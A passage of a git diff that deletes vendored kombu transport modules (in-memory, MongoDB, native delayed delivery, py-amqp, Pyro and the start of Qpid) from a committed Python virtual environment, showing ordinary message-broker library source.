Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: No -* Supports Priority: No -* Supports TTL: Yes - -Connection String -================= -Connection string is in the following format: - -.. code-block:: - - memory:// - -""" - -from __future__ import annotations - -from collections import defaultdict -from queue import Queue - -from . import base, virtual - - -class Channel(virtual.Channel): - """In-memory Channel.""" - - events = defaultdict(set) - queues = {} - do_restore = False - supports_fanout = True - - def _has_queue(self, queue, **kwargs): - return queue in self.queues - - def _new_queue(self, queue, **kwargs): - if queue not in self.queues: - self.queues[queue] = Queue() - - def _get(self, queue, timeout=None): - return self._queue_for(queue).get(block=False) - - def _queue_for(self, queue): - if queue not in self.queues: - self.queues[queue] = Queue() - return self.queues[queue] - - def _queue_bind(self, *args): - pass - - def _put_fanout(self, exchange, message, routing_key=None, **kwargs): - for queue in self._lookup(exchange, routing_key): - self._queue_for(queue).put(message) - - def _put(self, queue, message, **kwargs): - self._queue_for(queue).put(message) - - def _size(self, queue): - return self._queue_for(queue).qsize() - - def _delete(self, queue, *args, **kwargs): - self.queues.pop(queue, None) - - def _purge(self, queue): - q = self._queue_for(queue) - size = q.qsize() - q.queue.clear() - return size - - def close(self): - super().close() - for queue in self.queues.values(): - queue.empty() - self.queues = {} - - def after_reply_message_received(self, queue): - pass - - -class Transport(virtual.Transport): - """In-memory Transport.""" - - Channel = Channel - - #: memory backend state is global. - global_state = virtual.BrokerState() - - implements = base.Transport.implements - - driver_type = 'memory' - driver_name = 'memory' - - def __init__(self, client, **kwargs): - super().__init__(client, **kwargs) - self.state = self.global_state - - def driver_version(self): - return 'N/A' diff --git a/venv/Lib/site-packages/kombu/transport/mongodb.py b/venv/Lib/site-packages/kombu/transport/mongodb.py deleted file mode 100644 index 5b8539ce95d0ad4ab3dcfe71b93e89c72c2fc1b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/mongodb.py +++ /dev/null @@ -1,554 +0,0 @@ -# copyright: (c) 2010 - 2013 by Flavio Percoco Premoli. -# license: BSD, see LICENSE for more details. - -"""MongoDB transport module for kombu. - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: Yes -* Supports Priority: Yes -* Supports TTL: Yes - -Connection String -================= - *Unreviewed* - -Transport Options -================= - -* ``connect_timeout``, -* ``ssl``, -* ``ttl``, -* ``capped_queue_size``, -* ``default_hostname``, -* ``default_port``, -* ``default_database``, -* ``messages_collection``, -* ``routing_collection``, -* ``broadcast_collection``, -* ``queues_collection``, -* ``calc_queue_size``, -""" - -from __future__ import annotations - -import warnings -from datetime import datetime, timedelta, timezone -from queue import Empty - -import pymongo -from pymongo import MongoClient, errors, uri_parser -from pymongo.cursor import CursorType - -from kombu.exceptions import VersionMismatch -from kombu.utils.compat import _detect_environment -from kombu.utils.encoding import bytes_to_str -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property -from kombu.utils.url import maybe_sanitize_url - -from . import virtual -from .base import to_rabbitmq_queue_arguments - -E_SERVER_VERSION = """\ -Kombu requires MongoDB version 1.3+ (server is {0})\ -""" - -E_NO_TTL_INDEXES = """\ -Kombu requires MongoDB version 2.2+ (server is {0}) for TTL indexes support\ -""" - - -class BroadcastCursor: - """Cursor for broadcast queues.""" - - def __init__(self, cursor): - self._cursor = cursor - self._offset = 0 - self.purge(rewind=False) - - def get_size(self): - return self._cursor.collection.count_documents({}) - self._offset - - def close(self): - self._cursor.close() - - def purge(self, rewind=True): - if rewind: - self._cursor.rewind() - - # Fast-forward the cursor past old events - self._offset = self._cursor.collection.count_documents({}) - self._cursor = self._cursor.skip(self._offset) - - def __iter__(self): - return self - - def __next__(self): - while True: - try: - msg = next(self._cursor) - except pymongo.errors.OperationFailure as exc: - # In some cases tailed cursor can become invalid - # and have to be reinitalized - if 'not valid at server' in str(exc): - self.purge() - - continue - - raise - else: - break - - self._offset += 1 - - return msg - next = __next__ - - -class Channel(virtual.Channel): - """MongoDB Channel.""" - - supports_fanout = True - - # Mutable container. Shared by all class instances - _fanout_queues = {} - - # Options - ssl = False - ttl = False - connect_timeout = None - capped_queue_size = 100000 - calc_queue_size = True - - default_hostname = '127.0.0.1' - default_port = 27017 - default_database = 'kombu_default' - - messages_collection = 'messages' - routing_collection = 'messages.routing' - broadcast_collection = 'messages.broadcast' - queues_collection = 'messages.queues' - - from_transport_options = (virtual.Channel.from_transport_options + ( - 'connect_timeout', 'ssl', 'ttl', 'capped_queue_size', - 'default_hostname', 'default_port', 'default_database', - 'messages_collection', 'routing_collection', - 'broadcast_collection', 'queues_collection', - 'calc_queue_size', - )) - - def __init__(self, *vargs, **kwargs): - super().__init__(*vargs, **kwargs) - - self._broadcast_cursors = {} - - # Evaluate connection - self.client - - # AbstractChannel/Channel interface implementation - - def _new_queue(self, queue, **kwargs): - if self.ttl: - self.queues.update_one( - {'_id': queue}, - { - '$set': { - '_id': queue, - 'options': kwargs, - 'expire_at': self._get_queue_expire( - kwargs, 'x-expires' - ), - }, - }, - upsert=True) - - def _get(self, queue): - if queue in self._fanout_queues: - try: - msg = next(self._get_broadcast_cursor(queue)) - except StopIteration: - msg = None - else: - msg = self.messages.find_one_and_delete( - {'queue': queue}, - sort=[('priority', pymongo.ASCENDING)], - ) - - if self.ttl: - self._update_queues_expire(queue) - - if msg is None: - raise Empty() - - return loads(bytes_to_str(msg['payload'])) - - def _size(self, queue): - # Do not calculate actual queue size if requested - # for performance considerations - if not self.calc_queue_size: - return super()._size(queue) - - if queue in self._fanout_queues: - return self._get_broadcast_cursor(queue).get_size() - - return self.messages.count_documents({'queue': queue}) - - def _put(self, queue, message, **kwargs): - data = { - 'payload': dumps(message), - 'queue': queue, - 'priority': self._get_message_priority(message, reverse=True) - } - - if self.ttl: - data['expire_at'] = self._get_queue_expire(queue, 'x-message-ttl') - msg_expire = self._get_message_expire(message) - if msg_expire is not None and ( - data['expire_at'] is None or msg_expire < data['expire_at'] - ): - data['expire_at'] = msg_expire - - self.messages.insert_one(data) - - def _put_fanout(self, exchange, message, routing_key, **kwargs): - self.broadcast.insert_one({'payload': dumps(message), - 'queue': exchange}) - - def _purge(self, queue): - size = self._size(queue) - - if queue in self._fanout_queues: - self._get_broadcast_cursor(queue).purge() - else: - self.messages.delete_many({'queue': queue}) - - return size - - def get_table(self, exchange): - localRoutes = frozenset(self.state.exchanges[exchange]['table']) - brokerRoutes = self.routing.find( - {'exchange': exchange} - ) - - return localRoutes | frozenset( - (r['routing_key'], r['pattern'], r['queue']) - for r in brokerRoutes - ) - - def _queue_bind(self, exchange, routing_key, pattern, queue): - if self.typeof(exchange).type == 'fanout': - self._create_broadcast_cursor( - exchange, routing_key, pattern, queue) - self._fanout_queues[queue] = exchange - - lookup = { - 'exchange': exchange, - 'queue': queue, - 'routing_key': routing_key, - 'pattern': pattern, - } - - data = lookup.copy() - - if self.ttl: - data['expire_at'] = self._get_queue_expire(queue, 'x-expires') - - self.routing.update_one(lookup, {'$set': data}, upsert=True) - - def queue_delete(self, queue, **kwargs): - self.routing.delete_many({'queue': queue}) - - if self.ttl: - self.queues.delete_one({'_id': queue}) - - super().queue_delete(queue, **kwargs) - - if queue in self._fanout_queues: - try: - cursor = self._broadcast_cursors.pop(queue) - except KeyError: - pass - else: - cursor.close() - - self._fanout_queues.pop(queue) - - # Implementation details - - def _parse_uri(self, scheme='mongodb://'): - # See mongodb uri documentation: - # https://docs.mongodb.org/manual/reference/connection-string/ - client = self.connection.client - hostname = client.hostname - - if hostname.startswith('srv://'): - scheme = 'mongodb+srv://' - hostname = 'mongodb+' + hostname - - if not hostname.startswith(scheme): - hostname = scheme + hostname - - if not hostname[len(scheme):]: - hostname += self.default_hostname - - if client.userid and '@' not in hostname: - head, tail = hostname.split('://') - - credentials = client.userid - if client.password: - credentials += ':' + client.password - - hostname = head + '://' + credentials + '@' + tail - - port = client.port if client.port else self.default_port - - # We disable validating and normalization parameters here, - # because pymongo will validate and normalize parameters later in __init__ of MongoClient - parsed = uri_parser.parse_uri(hostname, port, validate=False) - - dbname = parsed['database'] or client.virtual_host - - if dbname in ('/', None): - dbname = self.default_database - - options = { - 'auto_start_request': True, - 'ssl': self.ssl, - 'connectTimeoutMS': (int(self.connect_timeout * 1000) - if self.connect_timeout else None), - } - options.update(parsed['options']) - normalized = {} - for k, v in options.items(): - val = v[0] if isinstance(v, list) and len(v) == 1 else v - normalized[k] = val - lk = k.lower() - # Only set the lowercase key if it does not exist, or if it exists and has the same value - if lk not in normalized or normalized[lk] == val: - normalized[lk] = val - elif normalized[lk] == val: - # Values match, no action needed - pass - else: - # Conflict: keys differ only in case and have different values; log a warning - warnings.warn( - f"MongoDB transport: Option conflict for key '{k}' and '{lk}' with different values: " - f"{normalized.get(lk)!r} vs {val!r}. Using value for '{k}'." - ) - # Do not overwrite the existing value for lk - options = normalized - options = self._prepare_client_options(options) - - if 'tls' in options: - options.pop('ssl') - - return hostname, dbname, options - - def _prepare_client_options(self, options): - if pymongo.version_tuple >= (3,): - options.pop('auto_start_request', None) - if isinstance(options.get('readpreference'), int): - modes = pymongo.read_preferences._MONGOS_MODES - options['readpreference'] = modes[options['readpreference']] - return options - - def prepare_queue_arguments(self, arguments, **kwargs): - return to_rabbitmq_queue_arguments(arguments, **kwargs) - - def _open(self, scheme='mongodb://'): - hostname, dbname, conf = self._parse_uri(scheme=scheme) - - conf['host'] = hostname - - env = _detect_environment() - if env == 'gevent': - from gevent import monkey - monkey.patch_all() - elif env == 'eventlet': - from eventlet import monkey_patch - monkey_patch() - - mongoconn = MongoClient(**conf) - database = mongoconn[dbname] - - version_str = mongoconn.server_info()['version'] - version_str = version_str.split('-')[0] - version = tuple(map(int, version_str.split('.'))) - - if version < (1, 3): - raise VersionMismatch(E_SERVER_VERSION.format(version_str)) - elif self.ttl and version < (2, 2): - raise VersionMismatch(E_NO_TTL_INDEXES.format(version_str)) - - return database - - def _create_broadcast(self, database): - """Create capped collection for broadcast messages.""" - if self.broadcast_collection in database.list_collection_names(): - return - - database.create_collection(self.broadcast_collection, - size=self.capped_queue_size, - capped=True) - - def _ensure_indexes(self, database): - """Ensure indexes on collections.""" - messages = database[self.messages_collection] - messages.create_index( - [('queue', 1), ('priority', 1), ('_id', 1)], background=True, - ) - - database[self.broadcast_collection].create_index([('queue', 1)]) - - routing = database[self.routing_collection] - routing.create_index([('queue', 1), ('exchange', 1)]) - - if self.ttl: - messages.create_index([('expire_at', 1)], expireAfterSeconds=0) - routing.create_index([('expire_at', 1)], expireAfterSeconds=0) - - database[self.queues_collection].create_index( - [('expire_at', 1)], expireAfterSeconds=0) - - def _create_client(self): - """Actually creates connection.""" - database = self._open() - self._create_broadcast(database) - self._ensure_indexes(database) - - return database - - @cached_property - def client(self): - return self._create_client() - - @cached_property - def messages(self): - return self.client[self.messages_collection] - - @cached_property - def routing(self): - return self.client[self.routing_collection] - - @cached_property - def broadcast(self): - return self.client[self.broadcast_collection] - - @cached_property - def queues(self): - return self.client[self.queues_collection] - - def _get_broadcast_cursor(self, queue): - try: - return self._broadcast_cursors[queue] - except KeyError: - # Cursor may be absent when Channel created more than once. - # _fanout_queues is a class-level mutable attribute so it's - # shared over all Channel instances. - return self._create_broadcast_cursor( - self._fanout_queues[queue], None, None, queue, - ) - - def _create_broadcast_cursor(self, exchange, routing_key, pattern, queue): - if pymongo.version_tuple >= (3, ): - query = { - 'filter': {'queue': exchange}, - 'cursor_type': CursorType.TAILABLE, - } - else: - query = { - 'query': {'queue': exchange}, - 'tailable': True, - } - - cursor = self.broadcast.find(**query) - ret = self._broadcast_cursors[queue] = BroadcastCursor(cursor) - return ret - - def _get_message_expire(self, message): - value = message.get('properties', {}).get('expiration') - if value is not None: - return self.get_now() + timedelta(milliseconds=int(value)) - - def _get_queue_expire(self, queue, argument): - """Get expiration header named `argument` of queue definition. - - Note: - ---- - `queue` must be either queue name or options itself. - """ - if isinstance(queue, str): - doc = self.queues.find_one({'_id': queue}) - - if not doc: - return - - data = doc['options'] - else: - data = queue - - try: - value = data['arguments'][argument] - except (KeyError, TypeError): - return - - return self.get_now() + timedelta(milliseconds=value) - - def _update_queues_expire(self, queue): - """Update expiration field on queues documents.""" - expire_at = self._get_queue_expire(queue, 'x-expires') - - if not expire_at: - return - - self.routing.update_many( - {'queue': queue}, {'$set': {'expire_at': expire_at}}) - self.queues.update_many( - {'_id': queue}, {'$set': {'expire_at': expire_at}}) - - def get_now(self): - """Return current time in UTC.""" - return datetime.now(timezone.utc) - - -class Transport(virtual.Transport): - """MongoDB Transport.""" - - Channel = Channel - - can_parse_url = True - polling_interval = 1 - default_port = Channel.default_port - connection_errors = ( - virtual.Transport.connection_errors + (errors.ConnectionFailure,) - ) - channel_errors = ( - virtual.Transport.channel_errors + ( - errors.ConnectionFailure, - errors.OperationFailure) - ) - driver_type = 'mongodb' - driver_name = 'pymongo' - - implements = virtual.Transport.implements.extend( - exchange_type=frozenset(['direct', 'topic', 'fanout']), - ) - - def driver_version(self): - return pymongo.version - - def as_uri(self, uri: str, include_password=False, mask='**') -> str: - if not uri: - return 'mongodb://' - if include_password: - return uri - - if ',' not in uri: - return maybe_sanitize_url(uri) - - uri1, remainder = uri.split(',', 1) - return ','.join([maybe_sanitize_url(uri1), remainder]) diff --git a/venv/Lib/site-packages/kombu/transport/native_delayed_delivery.py b/venv/Lib/site-packages/kombu/transport/native_delayed_delivery.py deleted file mode 100644 index 935789efda6144cfc9703e293e5c6bc0ff46c573..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/native_delayed_delivery.py +++ /dev/null @@ -1,134 +0,0 @@ -"""Native Delayed Delivery API. - -Only relevant for RabbitMQ. -""" -from __future__ import annotations - -from kombu import Connection, Exchange, Queue, binding -from kombu.log import get_logger - -logger = get_logger(__name__) - -MAX_NUMBER_OF_BITS_TO_USE = 28 -MAX_LEVEL = MAX_NUMBER_OF_BITS_TO_USE - 1 -CELERY_DELAYED_DELIVERY_EXCHANGE = "celery_delayed_delivery" - - -def level_name(level: int) -> str: - """Generates the delayed queue/exchange name based on the level.""" - if level < 0: - raise ValueError("level must be a non-negative number") - - return f"celery_delayed_{level}" - - -def declare_native_delayed_delivery_exchanges_and_queues(connection: Connection, queue_type: str) -> None: - """Declares all native delayed delivery exchanges and queues.""" - if queue_type != "classic" and queue_type != "quorum": - raise ValueError("queue_type must be either classic or quorum") - - channel = connection.channel() - - routing_key: str = "1.#" - - for level in range(27, -1, - 1): - current_level = level_name(level) - next_level = level_name(level - 1) if level > 0 else None - - delayed_exchange: Exchange = Exchange( - current_level, type="topic").bind(channel) - delayed_exchange.declare() - - queue_arguments = { - "x-queue-type": queue_type, - "x-overflow": "reject-publish", - "x-message-ttl": pow(2, level) * 1000, - "x-dead-letter-exchange": next_level if level > 0 else CELERY_DELAYED_DELIVERY_EXCHANGE, - } - - if queue_type == 'quorum': - queue_arguments["x-dead-letter-strategy"] = "at-least-once" - - delayed_queue: Queue = Queue( - current_level, - queue_arguments=queue_arguments - ).bind(channel) - delayed_queue.declare() - delayed_queue.bind_to(current_level, routing_key) - - routing_key = "*." + routing_key - - routing_key = "0.#" - for level in range(27, 0, - 1): - current_level = level_name(level) - next_level = level_name(level - 1) if level > 0 else None - - next_level_exchange: Exchange = Exchange( - next_level, type="topic").bind(channel) - - next_level_exchange.bind_to(current_level, routing_key) - - routing_key = "*." + routing_key - - delivery_exchange: Exchange = Exchange( - CELERY_DELAYED_DELIVERY_EXCHANGE, type="topic").bind(channel) - delivery_exchange.declare() - delivery_exchange.bind_to(level_name(0), routing_key) - - -def bind_queue_to_native_delayed_delivery_exchange(connection: Connection, queue: Queue) -> None: - """Bind a queue to the native delayed delivery exchange. - - When a message arrives at the delivery exchange, it must be forwarded to - the original exchange and queue. To accomplish this, the function retrieves - the exchange or binding objects associated with the queue and binds them to - the delivery exchange. - - - :param connection: The connection object used to create and manage the channel. - :type connection: Connection - :param queue: The queue to be bound to the native delayed delivery exchange. - :type queue: Queue - - Warning: - ------- - If a direct exchange is detected, a warning will be logged because - native delayed delivery does not support direct exchanges. - """ - channel = connection.channel() - queue = queue.bind(channel) - - bindings: set[binding] = set() - - if queue.exchange: - bindings.add(binding( - queue.exchange, - routing_key=queue.routing_key, - arguments=queue.binding_arguments - )) - elif queue.bindings: - bindings = queue.bindings - - for binding_entry in bindings: - exchange: Exchange = binding_entry.exchange.bind(channel) - if exchange.type == 'direct': - logger.warning(f"Exchange {exchange.name} is a direct exchange " - f"and native delayed delivery do not support direct exchanges.\n" - f"ETA tasks published to this exchange will block the worker until the ETA arrives.") - continue - - routing_key = binding_entry.routing_key if binding_entry.routing_key.startswith( - '#') else f"#.{binding_entry.routing_key}" - exchange.bind_to(CELERY_DELAYED_DELIVERY_EXCHANGE, routing_key=routing_key) - queue.bind_to(exchange.name, routing_key=routing_key) - - -def calculate_routing_key(countdown: int, routing_key: str) -> str: - """Calculate the routing key for publishing a delayed message based on the countdown.""" - if countdown < 1: - raise ValueError("countdown must be a positive number") - - if not routing_key: - raise ValueError("routing_key must be non-empty") - - return '.'.join(list(f'{countdown:028b}')) + f'.{routing_key}' diff --git a/venv/Lib/site-packages/kombu/transport/pyamqp.py b/venv/Lib/site-packages/kombu/transport/pyamqp.py deleted file mode 100644 index 052043da310b5d99f416b005f01f9619bb08f245..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/pyamqp.py +++ /dev/null @@ -1,253 +0,0 @@ -"""pyamqp transport module for Kombu. - -Pure-Python amqp transport using py-amqp library. - -Features -======== -* Type: Native -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: Yes -* Supports Priority: Yes -* Supports TTL: Yes - -Connection String -================= -Connection string can have the following formats: - -.. code-block:: - - amqp://[USER:PASSWORD@]BROKER_ADDRESS[:PORT][/VIRTUALHOST] - [USER:PASSWORD@]BROKER_ADDRESS[:PORT][/VIRTUALHOST] - amqp:// - -For TLS encryption use: - -.. code-block:: - - amqps://[USER:PASSWORD@]BROKER_ADDRESS[:PORT][/VIRTUALHOST] - -Transport Options -================= -Transport Options are passed to constructor of underlying py-amqp -:class:`~kombu.connection.Connection` class. - -Using TLS -========= -Transport over TLS can be enabled by ``ssl`` parameter of -:class:`~kombu.Connection` class. By setting ``ssl=True``, TLS transport is -used:: - - conn = Connect('amqp://', ssl=True) - -This is equivalent to ``amqps://`` transport URI:: - - conn = Connect('amqps://') - -For adding additional parameters to underlying TLS, ``ssl`` parameter should -be set with dict instead of True:: - - conn = Connect('amqp://broker.example.com', ssl={ - 'keyfile': '/path/to/keyfile' - 'certfile': '/path/to/certfile', - 'ca_certs': '/path/to/ca_certfile' - } - ) - -All parameters are passed to ``ssl`` parameter of -:class:`amqp.connection.Connection` class. - -SSL option ``server_hostname`` can be set to ``None`` which is causing using -hostname from broker URL. This is useful when failover is used to fill -``server_hostname`` with currently used broker:: - - conn = Connect('amqp://broker1.example.com;broker2.example.com', ssl={ - 'server_hostname': None - } - ) -""" - - -from __future__ import annotations - -import amqp - -from kombu.utils.amq_manager import get_manager -from kombu.utils.text import version_string_as_tuple - -from . import base -from .base import to_rabbitmq_queue_arguments - -DEFAULT_PORT = 5672 -DEFAULT_SSL_PORT = 5671 - - -class Message(base.Message): - """AMQP Message.""" - - def __init__(self, msg, channel=None, **kwargs): - props = msg.properties - super().__init__( - body=msg.body, - channel=channel, - delivery_tag=msg.delivery_tag, - content_type=props.get('content_type'), - content_encoding=props.get('content_encoding'), - delivery_info=msg.delivery_info, - properties=msg.properties, - headers=props.get('application_headers') or {}, - **kwargs) - - -class Channel(amqp.Channel, base.StdChannel): - """AMQP Channel.""" - - Message = Message - - def prepare_message(self, body, priority=None, - content_type=None, content_encoding=None, - headers=None, properties=None, _Message=amqp.Message): - """Prepare message so that it can be sent using this transport.""" - return _Message( - body, - priority=priority, - content_type=content_type, - content_encoding=content_encoding, - application_headers=headers, - **properties or {} - ) - - def prepare_queue_arguments(self, arguments, **kwargs): - return to_rabbitmq_queue_arguments(arguments, **kwargs) - - def message_to_python(self, raw_message): - """Convert encoded message body back to a Python value.""" - return self.Message(raw_message, channel=self) - - -class Connection(amqp.Connection): - """AMQP Connection.""" - - Channel = Channel - - -class Transport(base.Transport): - """AMQP Transport.""" - - Connection = Connection - - default_port = DEFAULT_PORT - default_ssl_port = DEFAULT_SSL_PORT - - # it's very annoying that pyamqp sometimes raises AttributeError - # if the connection is lost, but nothing we can do about that here. - connection_errors = amqp.Connection.connection_errors - channel_errors = amqp.Connection.channel_errors - recoverable_connection_errors = \ - amqp.Connection.recoverable_connection_errors - recoverable_channel_errors = amqp.Connection.recoverable_channel_errors - - driver_name = 'py-amqp' - driver_type = 'amqp' - - implements = base.Transport.implements.extend( - asynchronous=True, - heartbeats=True, - ) - - def __init__(self, client, - default_port=None, default_ssl_port=None, **kwargs): - self.client = client - self.default_port = default_port or self.default_port - self.default_ssl_port = default_ssl_port or self.default_ssl_port - - def driver_version(self): - return amqp.__version__ - - def create_channel(self, connection): - return connection.channel() - - def drain_events(self, connection, **kwargs): - return connection.drain_events(**kwargs) - - def _collect(self, connection): - if connection is not None: - connection.collect() - - def establish_connection(self): - """Establish connection to the AMQP broker.""" - conninfo = self.client - for name, default_value in self.default_connection_params.items(): - if not getattr(conninfo, name, None): - setattr(conninfo, name, default_value) - if conninfo.hostname == 'localhost': - conninfo.hostname = '127.0.0.1' - # when server_hostname is None, use hostname from URI. - if isinstance(conninfo.ssl, dict) and \ - 'server_hostname' in conninfo.ssl and \ - conninfo.ssl['server_hostname'] is None: - conninfo.ssl['server_hostname'] = conninfo.hostname - opts = dict({ - 'host': conninfo.host, - 'userid': conninfo.userid, - 'password': conninfo.password, - 'login_method': conninfo.login_method, - 'virtual_host': conninfo.virtual_host, - 'insist': conninfo.insist, - 'ssl': conninfo.ssl, - 'connect_timeout': conninfo.connect_timeout, - 'heartbeat': conninfo.heartbeat, - }, **conninfo.transport_options or {}) - conn = self.Connection(**opts) - conn.client = self.client - conn.connect() - return conn - - def verify_connection(self, connection): - return connection.connected - - def close_connection(self, connection): - """Close the AMQP broker connection.""" - connection.client = None - connection.close() - - def get_heartbeat_interval(self, connection): - return connection.heartbeat - - def register_with_event_loop(self, connection, loop): - connection.transport.raise_on_initial_eintr = True - loop.add_reader(connection.sock, self.on_readable, connection, loop) - - def heartbeat_check(self, connection, rate=2): - return connection.heartbeat_tick(rate=rate) - - def qos_semantics_matches_spec(self, connection): - props = connection.server_properties - if props.get('product') == 'RabbitMQ': - return version_string_as_tuple(props['version']) < (3, 3) - return True - - @property - def default_connection_params(self): - return { - 'userid': 'guest', - 'password': 'guest', - 'port': (self.default_ssl_port if self.client.ssl - else self.default_port), - 'hostname': 'localhost', - 'login_method': 'PLAIN', - } - - def get_manager(self, *args, **kwargs): - return get_manager(self.client, *args, **kwargs) - - -class SSLTransport(Transport): - """AMQP SSL Transport.""" - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - # ugh, not exactly pure, but hey, it's python. - if not self.client.ssl: # not dict or False - self.client.ssl = True diff --git a/venv/Lib/site-packages/kombu/transport/pyro.py b/venv/Lib/site-packages/kombu/transport/pyro.py deleted file mode 100644 index 7b27cb613e202e2f7fb5e2dc37a9b0dcd8ae3e92..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/pyro.py +++ /dev/null @@ -1,212 +0,0 @@ -"""Pyro transport module for kombu. - -Pyro transport, and Kombu Broker daemon. - -Requires the :mod:`Pyro4` library to be installed. - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: No -* Supports Priority: No -* Supports TTL: No - -Connection String -================= - -To use the Pyro transport with Kombu, use an url of the form: - -.. code-block:: - - pyro://localhost/kombu.broker - -The hostname is where the transport will be looking for a Pyro name server, -which is used in turn to locate the kombu.broker Pyro service. -This broker can be launched by simply executing this transport module directly, -with the command: ``python -m kombu.transport.pyro`` - -Transport Options -================= -""" - - -from __future__ import annotations - -import sys -from queue import Empty, Queue - -from kombu.exceptions import reraise -from kombu.log import get_logger -from kombu.utils.objects import cached_property - -from . import virtual - -try: - import Pyro4 as pyro - from Pyro4.errors import NamingError - from Pyro4.util import SerializerBase -except ImportError: # pragma: no cover - pyro = NamingError = SerializerBase = None - -DEFAULT_PORT = 9090 -E_NAMESERVER = """\ -Unable to locate pyro nameserver on host {0.hostname}\ -""" -E_LOOKUP = """\ -Unable to lookup '{0.virtual_host}' in pyro nameserver on host {0.hostname}\ -""" - -logger = get_logger(__name__) - - -class Channel(virtual.Channel): - """Pyro Channel.""" - - def close(self): - super().close() - if self.shared_queues: - self.shared_queues._pyroRelease() - - def queues(self): - return self.shared_queues.get_queue_names() - - def _new_queue(self, queue, **kwargs): - if queue not in self.queues(): - self.shared_queues.new_queue(queue) - - def _has_queue(self, queue, **kwargs): - return self.shared_queues.has_queue(queue) - - def _get(self, queue, timeout=None): - queue = self._queue_for(queue) - return self.shared_queues.get(queue) - - def _queue_for(self, queue): - if queue not in self.queues(): - self.shared_queues.new_queue(queue) - return queue - - def _put(self, queue, message, **kwargs): - queue = self._queue_for(queue) - self.shared_queues.put(queue, message) - - def _size(self, queue): - return self.shared_queues.size(queue) - - def _delete(self, queue, *args, **kwargs): - self.shared_queues.delete(queue) - - def _purge(self, queue): - return self.shared_queues.purge(queue) - - def after_reply_message_received(self, queue): - pass - - @cached_property - def shared_queues(self): - return self.connection.shared_queues - - -class Transport(virtual.Transport): - """Pyro Transport.""" - - Channel = Channel - - #: memory backend state is global. - # TODO: To be checked whether state can be per-Transport - global_state = virtual.BrokerState() - - default_port = DEFAULT_PORT - - driver_type = driver_name = 'pyro' - - def __init__(self, client, **kwargs): - super().__init__(client, **kwargs) - self.state = self.global_state - - def _open(self): - logger.debug("trying Pyro nameserver to find the broker daemon") - conninfo = self.client - try: - nameserver = pyro.locateNS(host=conninfo.hostname, - port=self.default_port) - except NamingError: - reraise(NamingError, NamingError(E_NAMESERVER.format(conninfo)), - sys.exc_info()[2]) - try: - # name of registered pyro object - uri = nameserver.lookup(conninfo.virtual_host) - return pyro.Proxy(uri) - except NamingError: - reraise(NamingError, NamingError(E_LOOKUP.format(conninfo)), - sys.exc_info()[2]) - - def driver_version(self): - return pyro.__version__ - - @cached_property - def shared_queues(self): - return self._open() - - -if pyro is not None: - SerializerBase.register_dict_to_class("queue.Empty", - lambda cls, data: Empty()) - - @pyro.expose - @pyro.behavior(instance_mode="single") - class KombuBroker: - """Kombu Broker used by the Pyro transport. - - You have to run this as a separate (Pyro) service. - """ - - def __init__(self): - self.queues = {} - - def get_queue_names(self): - return list(self.queues) - - def new_queue(self, queue): - if queue in self.queues: - return # silently ignore the fact that queue already exists - self.queues[queue] = Queue() - - def has_queue(self, queue): - return queue in self.queues - - def get(self, queue): - return self.queues[queue].get(block=False) - - def put(self, queue, message): - self.queues[queue].put(message) - - def size(self, queue): - return self.queues[queue].qsize() - - def delete(self, queue): - del self.queues[queue] - - def purge(self, queue): - while True: - try: - self.queues[queue].get(blocking=False) - except Empty: - break - - -# launch a Kombu Broker daemon with the command: -# ``python -m kombu.transport.pyro`` -if __name__ == "__main__": - print("Launching Broker for Kombu's Pyro transport.") - with pyro.Daemon() as daemon: - print("(Expecting a Pyro name server at {}:{})" - .format(pyro.config.NS_HOST, pyro.config.NS_PORT)) - with pyro.locateNS() as ns: - print("You can connect with Kombu using the url " - "'pyro://{}/kombu.broker'".format(pyro.config.NS_HOST)) - uri = daemon.register(KombuBroker) - ns.register("kombu.broker", uri) - daemon.requestLoop() diff --git a/venv/Lib/site-packages/kombu/transport/qpid.py b/venv/Lib/site-packages/kombu/transport/qpid.py deleted file mode 100644 index cfd864d8a564fd791e57e446ed29b6f14a243a64..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/qpid.py +++ /dev/null @@ -1,1748 +0,0 @@ -"""Qpid Transport module for kombu. - -`Qpid`_ transport using `qpid-python`_ as the client and `qpid-tools`_ for -broker management. - -The use this transport you must install the necessary dependencies. These -dependencies are available via PyPI and can be installed using the pip -command: - -.. code-block:: console - - $ pip install kombu[qpid] - -or to install the requirements manually: - -.. code-block:: console - - $ pip install qpid-tools qpid-python - -.. admonition:: Python 3 and PyPy Limitations - - The Qpid transport does not support Python 3 or PyPy environments due - to underlying dependencies not being compatible. This version is - tested and works with with Python 2.7. - -.. _`Qpid`: https://qpid.apache.org/ -.. _`qpid-python`: https://pypi.org/project/qpid-python/ -.. _`qpid-tools`: https://pypi.org/project/qpid-tools/ - -Features -======== -* Type: Native -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: Yes -* Supports Priority: Yes -* Supports TTL: Yes - -Authentication -============== - -This transport supports SASL authentication with the Qpid broker. Normally, -SASL mechanisms are negotiated from a client list and a server list of -possible mechanisms, but in practice, different SASL client libraries give -different behaviors. These different behaviors cause the expected SASL -mechanism to not be selected in many cases. As such, this transport restricts -the mechanism types based on Kombu's configuration according to the following -table. - -+------------------------------------+--------------------+ -| **Broker String** | **SASL Mechanism** | -+------------------------------------+--------------------+ -| qpid://hostname/ | ANONYMOUS | -+------------------------------------+--------------------+ -| qpid://username:password@hostname/ | PLAIN | -+------------------------------------+--------------------+ -| see instructions below | EXTERNAL | -+------------------------------------+--------------------+ - -The user can override the above SASL selection behaviors and specify the SASL -string using the :attr:`~kombu.Connection.login_method` argument to the -:class:`~kombu.Connection` object. The string can be a single SASL mechanism -or a space separated list of SASL mechanisms. If you are using Celery with -Kombu, this can be accomplished by setting the *BROKER_LOGIN_METHOD* Celery -option. - -.. note:: - - While using SSL, Qpid users may want to override the SASL mechanism to - use *EXTERNAL*. In that case, Qpid requires a username to be presented - that matches the *CN* of the SSL client 